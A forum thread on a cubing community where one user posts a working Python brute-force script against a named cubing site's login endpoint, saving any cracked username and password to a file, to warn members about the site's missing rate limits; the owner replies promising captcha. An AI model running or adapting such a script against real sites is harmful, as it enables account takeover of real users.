• Welcome to the Speedsolving.com, home of the web's largest puzzle community!
    You are currently viewing our forum as a guest which gives you limited access to join discussions and access our other features.

    Registration is fast, simple and absolutely free so please, join our community of 40,000+ people from around the world today!

    If you are already a member, simply login to hide this message and begin participating in the community!

New cubing site

Joined
Aug 12, 2013
Messages
5,165
Location
Brazil
SS Competition Results
YouTube
Visit Channel
don't want to sound like a broken record, just want to make my part in alerting people that using an unsafe site is dangerous. you can get your password stolen from a simple brute force script.

Python:
import requests
from data import usernames, passwords

url="http://xubing.x10.mx/index.php?p=member/loginpost"

for username in usernames:
    u = ''.join(username.split()).lower()
    for password in passwords:
        data = {"username": u, "password": password}
        res = requests.post(url, data=data)
        j = res.json()
        if j.get('act') == 'redirect':
            print('logged in!', u, password)
            open('output.txt','a').write(f'\n{u} - {password}')
        else:
            print(j.get('msg'), u, password)

I want to warn the users of the site to use a strong password, NEVER reuse an important password like email, youtube or speedsolving.com; and to the owner of the site: please use captcha to not expose the users of your site. it's not safe. the site even allow you to make infinite requests, that is perfect for hackers
 
Last edited:
Joined
Mar 21, 2022
Messages
90
Location
Greece
WCA
2022CHRI09
don't want to sound like a broken record, just want to make my part in alerting people that using an unsafe site is dangerous. you can get your password stolen from a simple brute force script.

Python:
import requests
from data import usernames, passwords

url="http://xubing.x10.mx/index.php?p=member/loginpost"

for username in usernames:
    u = ''.join(username.split()).lower()
    for password in passwords:
        data = {"username": u, "password": password}
        res = requests.post(url, data=data)
        j = res.json()
        if j.get('act') == 'redirect':
            print('logged in!', u, password)
            open('output.txt','a').write(f'\n{u} - {password}')
        else:
            print(j.get('msg'), u, password)

I want to warn the users of the site to use a strong password, NEVER reuse an important password like email, youtube or speedsolving.com; and to the owner of the site: please use captcha to not expose the users of your site. it's not safe. the site even allow you to make infinite requests, that is perfect for hackers
thanks for noticing. I will install captcha as soon as possible.
 
Top